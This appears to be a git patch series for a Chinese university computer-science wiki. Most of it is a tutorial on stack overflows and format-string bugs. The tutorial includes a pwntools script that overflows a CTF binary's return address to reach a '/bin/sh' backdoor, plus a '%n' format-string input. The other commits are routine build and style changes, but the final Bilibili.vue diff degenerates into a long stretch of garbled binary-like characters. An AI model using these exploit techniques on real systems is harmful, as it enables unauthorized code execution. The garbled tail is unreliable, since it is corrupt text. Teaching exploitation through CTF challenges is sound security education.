可以发现`ch`和`ch2`刚好差`8`个字节,也就是`ch`的长度。 `ch`只有`8`个字节,那么如果我们向`ch`中写入超过`8`个字节的数据呢?很显然,会从`ch`处发生溢出,写入到`ch2`的空间中,覆盖`ch2`的内容。 @@ -32,7 +32,7 @@ int main() printf("ch: %s, ch2: %s",ch,ch2); } ``` -![](./static/out2.PNG) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/out2.PNG) 这就是栈溢出的基本原理。 @@ -118,22 +118,22 @@ leave retn ``` 可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢?其实`call`指令相当于`push next_loc;jmp loc`,通过将`call`指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从`call`指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数: -![](./static/stack2.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/stack2.png) > 注意该图中,使用32位的寄存器(EBP、ESP、EIP),实际原理一样的,并且上方为高地址,下方为低地址 在此给出一道题作为例子:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text 32位的程序,我们使用IDA来打开该题目,查看反编译代码,可以发现有非常明显的栈溢出: -![](./static/main.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/main.png) 由于第`8`行`gets`函数并没有检查输入的长度和`s`的长度,我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中,存在另外一个函数`secure`,在该函数中有一个后门`system("/bin/sh")`,如果我们想办法执行该后门,就可以拿到目标机器的`shell`,从而控制目标计算机。 由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。 首先查看后门的地址: -![](./static/backdoor.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/backdoor.png) 接着计算溢出长度,这里我们使用gdb来调试程序,图中的gdb安装了pwndbg插件,该插件在pwn调试时比较好用: -![](./static/gdb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/gdb.png) 将断点打在`gets`函数前后,可以看到此时`esp`值为`0xffffcd80`,`ebp`值为`0xffffce08`,在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`,此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`,即`s`相对于`ebp`的偏移为`0x6C`,由于在`main`函数的开头有`push ebp`的操作,所以将`0x6C`再加`4`,即可到达返回地址处: ```python @@ -144,7 +144,7 @@ exp+=p32(0x0804863A) # 4字节的返回地址 sh.sendline(exp) sh.interactive() # 切换为手动交互模式 ``` -![](./static/shell.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/shell.png) ##### 0x1 通过上面的学习,我们已经可以知道执行任意函数的办法,但很多情况下,对于攻击者来说,程序中并没有可用的后门函数来达到攻击的目的,因此我们需要一种手段,来让程序执行任意代码(任意汇编代码),这样就可以最高效地进行攻击。ROP(Return Oriented Programming)面向返回编程就是这样的一种技术,在栈溢出的基础上,通过在程序中寻找以retn结尾的小片段(gadgets),来改变某些寄存器、栈变量等的值,再结合Linux下的系统调用,我们就可以执行需要的任意代码。 ROP网上已有非常系统的资料,在这里不做过多的叙述,可参考ctf-wiki: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode From 1a70ee076557428ffd95fcbc363e529a7fbef2ee Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Mon, 17 Jul 2023 21:59:19 +0800 Subject: [PATCH 63/85] docs: format 6.2.3 --- .../6.2.3漏洞挖掘、漏洞利用.md | 36 +++++++++++++++++-- 1 file changed, 34 insertions(+), 2 deletions(-) diff --git a/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md index dee1f74..e7d0a07 100644 --- a/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md +++ b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md @@ -3,6 +3,7 @@ ### 栈溢出 #### 栈介绍 栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/stack.png) 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。 @@ -17,11 +18,14 @@ int main() printf("ch: %p, ch2: %p",ch,ch2); } ``` + 对于如上程序,运行后可以发现`ch`和`a`的地址相差不大(`a`和`ch`的顺序不一定固定为`a`在前`ch`在后): + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/out1.PNG) 可以发现`ch`和`ch2`刚好差`8`个字节,也就是`ch`的长度。 `ch`只有`8`个字节,那么如果我们向`ch`中写入超过`8`个字节的数据呢?很显然,会从`ch`处发生溢出,写入到`ch2`的空间中,覆盖`ch2`的内容。 + ```C #include int main() @@ -32,6 +36,7 @@ int main() printf("ch: %s, ch2: %s",ch,ch2); } ``` + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/out2.PNG) 这就是栈溢出的基本原理。 @@ -39,6 +44,7 @@ int main() #### 栈溢出的基本利用 ##### 0x0 对于以上程序,“栈溢出”带来的后果仅仅是修改了局部变量的值,会造成一些程序的逻辑错误: + ```C #include int main() @@ -57,10 +63,15 @@ int main() return 0; } ``` + 如上代码所示,如果我们想办法通过向input中输入过长的字符串覆盖掉password的内容,我们就可以实现任意password“登录”。 + 那么能不能有一些更劲爆的手段呢? + > 以下内容涉及x86汇编语言知识 + 在C语言编译之后,通常会产生汇编语言,汇编语言的字节码可以直接在物理CPU上运行。而C语言函数调用会被编译为如下形式: + ```C #include int add(int a,int b) @@ -75,7 +86,7 @@ int main() return 0; } ``` -```assembly +```asm add: endbr64 push rbp @@ -117,18 +128,24 @@ mov eax, 0 leave retn ``` + 可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢?其实`call`指令相当于`push next_loc;jmp loc`,通过将`call`指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从`call`指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数: + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/stack2.png) + > 注意该图中,使用32位的寄存器(EBP、ESP、EIP),实际原理一样的,并且上方为高地址,下方为低地址 在此给出一道题作为例子:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text 32位的程序,我们使用IDA来打开该题目,查看反编译代码,可以发现有非常明显的栈溢出: + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/main.png) 由于第`8`行`gets`函数并没有检查输入的长度和`s`的长度,我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中,存在另外一个函数`secure`,在该函数中有一个后门`system("/bin/sh")`,如果我们想办法执行该后门,就可以拿到目标机器的`shell`,从而控制目标计算机。 + 由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。 首先查看后门的地址: + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/backdoor.png) 接着计算溢出长度,这里我们使用gdb来调试程序,图中的gdb安装了pwndbg插件,该插件在pwn调试时比较好用: @@ -136,6 +153,9 @@ retn ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/gdb.png) 将断点打在`gets`函数前后,可以看到此时`esp`值为`0xffffcd80`,`ebp`值为`0xffffce08`,在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`,此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`,即`s`相对于`ebp`的偏移为`0x6C`,由于在`main`函数的开头有`push ebp`的操作,所以将`0x6C`再加`4`,即可到达返回地址处: + +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/s.png) + ```python from pwn import * sh=process("./pwn") @@ -144,29 +164,41 @@ exp+=p32(0x0804863A) # 4字节的返回地址 sh.sendline(exp) sh.interactive() # 切换为手动交互模式 ``` + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/shell.png) + ##### 0x1 通过上面的学习,我们已经可以知道执行任意函数的办法,但很多情况下,对于攻击者来说,程序中并没有可用的后门函数来达到攻击的目的,因此我们需要一种手段,来让程序执行任意代码(任意汇编代码),这样就可以最高效地进行攻击。ROP(Return Oriented Programming)面向返回编程就是这样的一种技术,在栈溢出的基础上,通过在程序中寻找以retn结尾的小片段(gadgets),来改变某些寄存器、栈变量等的值,再结合Linux下的系统调用,我们就可以执行需要的任意代码。 + ROP网上已有非常系统的资料,在这里不做过多的叙述,可参考ctf-wiki: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode + ### 格式化字符串 格式化字符串的利用思路来源于`printf`函数中的`%n`format标签,该标签的作用和`%s`、`%d`等不同,是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题: + ```C printf("abcd%n",&num); //输出abcd,并且num的值为4 ``` + 但如果在编写代码时忘记format字符串: -``` + +```C printf(something_want_print); ``` + 此时若攻击者可以自定义该字符串,就可以使用`%d`、`%p`、`%s`等打印栈上数据,或者`%n`来覆写栈上的数据,如果覆写了返回地址,就可以实现任意代码执行。 + ```C char ch[20]; scanf("%s",ch);// 输入 %d%n%n%n%n%n printf(ch); ``` + ## 漏洞挖掘技术 ### 代码审计 代码审计分人工代码审计和自动化代码审计,人工审计由安全研究人员查看代码来发现漏洞,需要安全研究人员很高的研究经验,投入大量的人力。自动化代码审计目前的发展进度迅速,如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目Kunlun-M:https://github.com/LoRexxar/Kunlun-M + 以及字节跳动公司开源的appshark:https://github.com/bytedance/appshark + ### fuzz fuzz是一种自动化测试手段,通过一定的算法生成一定规律的随机的数据输入到程序中,如果程序发生崩溃等异常,即可知道此处可能有漏洞。比较著名的有[AFL](https://github.com/google/AFL)、[AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)、[libfuzzer](https://llvm.org/docs/LibFuzzer.html)、[honggfuzz](https://github.com/google/honggfuzz)等。 From cfb05f583353cef93e4e6efd0e0abea3548c5102 Mon Sep 17 00:00:00 2001 From: unknown <2239888030@qq.com> Date: Mon, 17 Jul 2023 22:42:05 +0800 Subject: [PATCH 64/85] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E4=BA=9B?= =?UTF-8?q?=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- wiki史.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wiki史.md b/wiki史.md index 3d18796..bacff61 100644 --- a/wiki史.md +++ b/wiki史.md @@ -54,7 +54,7 @@ 大伙普遍性的都希望别人能给一条既定的道路,循规蹈矩的走完每一步仿佛就可以获得成功。每一次在计算机的提建议的会议上,我就会很奇怪,相当多的同学要求取消通识选修课,取消大物取消数电这种基础课,都要求要加一些更为流行的技术的课。 -杭电有一个相当强的 CTF 战队 Vidar,他们有十一年的历史,深厚的积淀和超强的竞赛实力,但是近期却面对着无人可招的情况,因为大伙都去卷 JAVA 了。 +杭电有一个相当强的计算机信息安全战队 Vidar,他们有十五年的历史,坐拥深厚的技术积淀和超强的竞赛实力,却面对着无人可招的情况,因为大伙都去卷 JAVA 了。 我认为之所以这样,是因为我们放弃了自己掌握自己发展,自己掌握自己命运的能力,我们放弃了如何去思考,而选择了变成无根的浮萍。如果知识利益最大化,那么我们培育出来的仅仅只是讨好企业的大学生,而大学教育本身,应该让我们寻找改变世界的力量。 @@ -65,7 +65,7 @@ 不过问题很快暴露出来,我作为一个个体是渺小且无力的,而计算机科学的世界是宏伟且庞大的,凭借我一个人,我这辈子写完是没戏了。不过没关系,我在冥冥之中仿佛与战国时期翻手为云,覆手为雨的纵横学家有了心灵感应,是时候发动人民群众的力量了! -在新生到来前的那个暑假,我先后联系了杭电技术最强的几个技术团体的同学,一起参与到 WIKI 的完善工作去,尽可能补齐计算机技术的方方面面,甚至我们找到了杭电最受欢迎的老师之一韩健夫老师为我们写了一篇文章。随着 22 届新生的到来,Wiki 已经初具雏形了,我们依靠新生的反馈,循序渐进地修改内容,并且鼓励新生可以根据自己的学习心得对 Wiki 进行修正。 +在新生到来前的那个暑假,我先后联系了杭电技术最强的几个技术团体的同学,一起参与到 Wiki 的完善工作去,尽可能补齐计算机技术的方方面面,甚至我们找到了杭电最受欢迎的老师之一韩健夫老师为我们写了一篇文章。随着 22 届新生的到来,Wiki 已经初具雏形了,我们依靠新生的反馈,循序渐进地修改内容,并且鼓励新生可以根据自己的学习心得对 Wiki 进行修正。 ![超大规模的22届](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/dcf8ab68-4de4-4af2-898d-bd930f829f9f.jpg) From 316689ec5d3b0d48e8678b460726b944b5e962df Mon Sep 17 00:00:00 2001 From: Plumbiu <3434909403@qq.com> Date: Mon, 17 Jul 2023 22:46:16 +0800 Subject: [PATCH 65/85] feat: auto white space --- .vitepress/config.js | 3 ++ CONTRIBUTING.md | 2 +- package-lock.json | 115 ++++++++++++++++++++++++++++++++++++++++++- package.json | 3 +- 4 files changed, 120 insertions(+), 3 deletions(-) diff --git a/.vitepress/config.js b/.vitepress/config.js index f08e36a..1012c44 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -2,6 +2,8 @@ import { withMermaid } from "vitepress-plugin-mermaid"; import mathjax3 from 'markdown-it-mathjax3'; import { main_sidebar, chapter2, chapter3, chapter4, chapter5, chapter6, chapter7, chapter8 } from './sidebar.js'; +import PanguPlugin from 'markdown-it-pangu' + const customElements = [ 'mjx-container', 'mjx-assistive-mml', @@ -146,6 +148,7 @@ export default withMermaid({ markdown: { config: (md) => { md.use(mathjax3); + md.use(PanguPlugin); }, }, vue: { diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 5ccfaeb..7c31dd3 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -23,7 +23,7 @@ ## 文档风格 1. 使用 Markdown 编写文档,文档格式参考 Markdown 语法。 2. 一个页面只有一个1级标题(H1,一个#),其他标题从2级开始(H2,##)。 -3. 英文与中文之间用空格分开。 +3. 本项目自动在英文与中文、数字与中文之间添加空格。 ```markdown AI 与人工智能,AGI 的发展方向。 ``` diff --git a/package-lock.json b/package-lock.json index 42a920c..40643ff 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,8 @@ "@jupyterlab/mathjax2": "^3.6.5", "@jupyterlab/theme-light-extension": "^4.0.3", "@vueuse/core": "^10.2.1", - "markdown-it": "^13.0.1" + "markdown-it": "^13.0.1", + "markdown-it-pangu": "^1.0.2" }, "devDependencies": { "@mermaid-js/mermaid-mindmap": "^9.3.0", @@ -2843,6 +2844,51 @@ "mathjax-full": "^3.2.0" } }, + "node_modules/markdown-it-pangu": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/markdown-it-pangu/-/markdown-it-pangu-1.0.2.tgz", + "integrity": "sha512-rssyYaMKXRLMpQIUgX01VE1KYOHhlnc4t5zGTI2zgXDpE88eQz8hywa0iSzoFm3eb5CYzFWazDKdUbnyZvW0SQ==", + "dependencies": { + "markdown-it": "^8.4.2", + "pangu": "^4.0.7" + } + }, + "node_modules/markdown-it-pangu/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/markdown-it-pangu/node_modules/entities": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==" + }, + "node_modules/markdown-it-pangu/node_modules/linkify-it": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/linkify-it/-/linkify-it-2.2.0.tgz", + "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==", + "dependencies": { + "uc.micro": "^1.0.1" + } + }, + "node_modules/markdown-it-pangu/node_modules/markdown-it": { + "version": "8.4.2", + "resolved": "https://registry.npmmirror.com/markdown-it/-/markdown-it-8.4.2.tgz", + "integrity": "sha512-GcRz3AWTqSUphY3vsUqQSFMbgR38a4Lh3GWlHRh/7MRwz8mcu9n2IO7HOh+bXHrR9kOPDl5RNCaEsrneb+xhHQ==", + "dependencies": { + "argparse": "^1.0.7", + "entities": "~1.1.1", + "linkify-it": "^2.0.0", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + }, + "bin": { + "markdown-it": "bin/markdown-it.js" + } + }, "node_modules/markdown-it/node_modules/entities": { "version": "3.0.1", "resolved": "https://registry.npmmirror.com/entities/-/entities-3.0.1.tgz", @@ -3276,6 +3322,14 @@ "node": ">=0.10.0" } }, + "node_modules/pangu": { + "version": "4.0.7", + "resolved": "https://registry.npmmirror.com/pangu/-/pangu-4.0.7.tgz", + "integrity": "sha512-weZKJIwwy5gjt4STGVUH9bix3BGk7wZ2ahtIypwe3e/mllsrIZIvtfLx1dPX56GcpZFOCFKmeqI1qVuB9enRzA==", + "bin": { + "pangu": "dist/node/cli.js" + } + }, "node_modules/parse-srcset": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/parse-srcset/-/parse-srcset-1.0.2.tgz", @@ -3553,6 +3607,11 @@ "node": "^12.20.0 || >=14" } }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, "node_modules/style-mod": { "version": "4.0.3", "resolved": "https://registry.npmmirror.com/style-mod/-/style-mod-4.0.3.tgz", @@ -6635,6 +6694,50 @@ "mathjax-full": "^3.2.0" } }, + "markdown-it-pangu": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/markdown-it-pangu/-/markdown-it-pangu-1.0.2.tgz", + "integrity": "sha512-rssyYaMKXRLMpQIUgX01VE1KYOHhlnc4t5zGTI2zgXDpE88eQz8hywa0iSzoFm3eb5CYzFWazDKdUbnyZvW0SQ==", + "requires": { + "markdown-it": "^8.4.2", + "pangu": "^4.0.7" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "entities": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==" + }, + "linkify-it": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/linkify-it/-/linkify-it-2.2.0.tgz", + "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==", + "requires": { + "uc.micro": "^1.0.1" + } + }, + "markdown-it": { + "version": "8.4.2", + "resolved": "https://registry.npmmirror.com/markdown-it/-/markdown-it-8.4.2.tgz", + "integrity": "sha512-GcRz3AWTqSUphY3vsUqQSFMbgR38a4Lh3GWlHRh/7MRwz8mcu9n2IO7HOh+bXHrR9kOPDl5RNCaEsrneb+xhHQ==", + "requires": { + "argparse": "^1.0.7", + "entities": "~1.1.1", + "linkify-it": "^2.0.0", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + } + } + } + }, "markdown-to-jsx": { "version": "7.2.1", "resolved": "https://registry.npmmirror.com/markdown-to-jsx/-/markdown-to-jsx-7.2.1.tgz", @@ -7025,6 +7128,11 @@ "resolved": "https://registry.npmmirror.com/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==" }, + "pangu": { + "version": "4.0.7", + "resolved": "https://registry.npmmirror.com/pangu/-/pangu-4.0.7.tgz", + "integrity": "sha512-weZKJIwwy5gjt4STGVUH9bix3BGk7wZ2ahtIypwe3e/mllsrIZIvtfLx1dPX56GcpZFOCFKmeqI1qVuB9enRzA==" + }, "parse-srcset": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/parse-srcset/-/parse-srcset-1.0.2.tgz", @@ -7257,6 +7365,11 @@ } } }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, "style-mod": { "version": "4.0.3", "resolved": "https://registry.npmmirror.com/style-mod/-/style-mod-4.0.3.tgz", diff --git a/package.json b/package.json index 2460ce0..c996506 100644 --- a/package.json +++ b/package.json @@ -10,7 +10,8 @@ "@jupyterlab/mathjax2": "^3.6.5", "@jupyterlab/theme-light-extension": "^4.0.3", "@vueuse/core": "^10.2.1", - "markdown-it": "^13.0.1" + "markdown-it": "^13.0.1", + "markdown-it-pangu": "^1.0.2" }, "devDependencies": { "@mermaid-js/mermaid-mindmap": "^9.3.0", From 5d9b9c2f4bd7b65c28fb5e47c72d947dce3dd02c Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Tue, 18 Jul 2023 01:25:12 +0800 Subject: [PATCH 66/85] fix: code font --- .vitepress/theme/style.css | 7 +++++++ contributors.md | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/.vitepress/theme/style.css b/.vitepress/theme/style.css index a19b5e8..caca12b 100644 --- a/.vitepress/theme/style.css +++ b/.vitepress/theme/style.css @@ -26,6 +26,13 @@ --vp-font-family-mono: 'Noto Sans Mono', sans-serif, monospace, consolas; } +// 这个版本可能有 bug,build 后字体变不了还为 consolas 可能是我自己配的有问题 可能是这个版本拉了 总之就加个临时的 +code { + font-family: 'Noto Sans Mono', sans-serif, monospace, consolas !important; + font-weight: 400 !important; + font-size: 14px !important; +} + /** * Component: Button * -------------------------------------------------------------------------- */ diff --git a/contributors.md b/contributors.md index 6ddaffc..cd48d0f 100644 --- a/contributors.md +++ b/contributors.md @@ -1,5 +1,5 @@ From 7800960374a72c07a1452c91105924f6f3461090 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Wed, 19 Jul 2023 00:13:24 +0800 Subject: [PATCH 67/85] feat: robots.txt --- public/robots.txt | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 public/robots.txt diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 0000000..cd08314 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1,4 @@ +User-agent: * +Allow: / + +Sitemap: https://hdu-cs.wiki/sitemap.xml \ No newline at end of file From 3440b61c638f0192b0aac70dcbdafbfd4c922eab Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Wed, 19 Jul 2023 02:01:51 +0800 Subject: [PATCH 68/85] =?UTF-8?q?feat:=20=E6=96=B0=E7=9A=84=E5=85=A8?= =?UTF-8?q?=E5=B1=80=E7=BB=84=E4=BB=B6bili?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/theme/index.js | 2 ++ components/Bilibili.vue | 25 +++++++++++++++++++++++++ 2 files changed, 27 insertions(+) create mode 100644 components/Bilibili.vue diff --git a/.vitepress/theme/index.js b/.vitepress/theme/index.js index 9f551a4..7fb0389 100644 --- a/.vitepress/theme/index.js +++ b/.vitepress/theme/index.js @@ -3,6 +3,7 @@ import { h, watch } from 'vue' // import Theme from 'vitepress/theme' import DefaultTheme from 'vitepress/theme-without-fonts' import Download from '../../components/Download.vue' +import Bilibili from '../../components/Bilibili.vue' import './style.css' import './rainbow.css' @@ -18,6 +19,7 @@ export default { enhanceApp(ctx) { DefaultTheme.enhanceApp(ctx) ctx.app.component('Download', Download) + ctx.app.component('Bilibili', Bilibili) if (typeof window === 'undefined') return diff --git a/components/Bilibili.vue b/components/Bilibili.vue new file mode 100644 index 0000000..e9fa068 --- /dev/null +++ b/components/Bilibili.vue @@ -0,0 +1,25 @@ +

QC znl4Yv$MR}^DC=njl@Q6j$%}3M9nWU832_auXU!N0*Uq*Dd^X-V@(1g*>usE?6Nxk@ z-ZzPNPH$Fq^AsB#+O=4c-H7t6qkIS`Vm*!n7WKakZI@O;$k6qx-Y2t9>E$%r+=0fcW2R;*j45-`y$Lsb5YREpqvRRT8X&CzxQ7y?-#VEDA=x8Hc)6cuYQmM z^)`LyQ0~(BrvS>qP}WEJRV6C&n)G>|N}A&6h_wa0p6w3}>B8WYS|v&%afrmbAj>_+ z`Or0EJ!g}!ZajP^(`uw2AuNQqA^89^<(0hwj&hbRMb1E+OQ}lfAWmgmJ^XAGJNc^o z(CYl@WW%1-RrHb+3|qha~l0_cBD0&IqQXofITk20g6 zMaGvm)$jSqjN(UQro?allijjfy5hyE8R&laH9AcJNf1 zGkLEDEVY@lI8lMR+5(svCuo=!VNn1M(wpvZ#Jcxa^PEALB97I%@EPx3zWaD3y zaLY0T&^<)xpM1pV*S7g`UzOSZP2Q$&HUb(&0Kg-O269vpHu6+2G=Mc&5BXOBa1IE7 z<>F%bkOBuDiWY4F2DFC3z*_$RJm6iyTl+y=0Cae?2)zMmDVB8-feO>UO_p#2lTyI) zLsVcw2!U+U9%N`JH)v=Ga=$4l{@=C~Z%!ZyVp;!Q*n{@2|4Rx;OF^;rNCAjK;$kZv zM-6=w&H8vL)0>u*;_;6I4E4tZUSzB$@Wd_oAkVV9Qe4@`*=P1}q=Ld^k#W|ZK>=*m zq9)rDNU(Oa>UFf1ayOBt@9xdfKmJg`T?P%%CdvzdXTJbJ$5&QP{$m1VgiA2tj9Q~%-g3JI6@1{F?qBs@^iFjmHhw4&I`rxE6PcyB2qMcL)&NDaBeS?kNt%odOB2#odF` z7I%slDD>>_|IRyS&Ibl&GQ)>tH@o{h_kCTLH4Qrn3VnPs3iZx4VZ(YK$7OG7C6o@O z+!x5EaT4MN`BreAbDm8Uy)@8d9h2Pj*i1)~Ahg;p1#0rBMMdrHQB$;x{hw#^v(BrBawGwaEP{M#Q4s&}HFzvo8M7+a7ORvMv@;Ow)C-_ z*Gp*}4nl{r$y74;>u(O|Cu>A0kneiC^$) zb?A~J453kD6k+6c9&2A$-~!olsSenZi%_M_d=%8=M{*n_;JQWau+#D{R{)He1~uNa z3DQ2|KDc~l=bwGlMb~6ovp1)NcVt?vbDvIv5GCZ)Sp@QI#zPEd!q)kCmiyAACb=z> zA-7+^HXZQ}SWaml=%=s<=9!>p!Et?5P3A|OF0|+l!7@~y%T{`uG;|UlNRq?K*2rl8 zfx4cD1q>%XCn9^#@3s|UwTmzL3wiauE%zxyejy9e8eOXxxh{7WtsOhg_IRFZHApB~ z4gYeNYnvFFC;w|$S>PC|pi{P@NO6%Iy0%xn!LeHYne&X;7_wLv9AF$k@0_YBSr*1$ z0)5n4GT3l)<48Lxvg8y@#r2Fd;5UA2sJn3L_I9Vu2s61QBTX7p`jOr5Q(^3EwOd{YpOeL(#pW ziq{p&)NDgBlO${4<~Xamo^;9s;jbxEjFqX)I9zRjV~x95rK}#e+`U%vi)aC{J*LH? zJIU7Z2jwmajlXXY!IyoLtWTuroqy94TxoKMc=kEtS;5$}J;3lbJB@#EybbQFb^-fM z9sM$qk>Nf-I@h%{J)8{Ym^-|?bLWj{9E9pqhRm;q5w5zB^d2cVG-r7rn%nL@51#k0 zYt@BJBJR7VX)d`8qr-=ALli6OAX1I?8QZEj)*F(S)jagalS(vm_DN$Q%my3-`1I&+ zqsvkA0TH6}1FX3P-^i$FJVc0%^nFForofBF3lOsAsT0{%0oUmLhpeiU4EV)N!sTmI 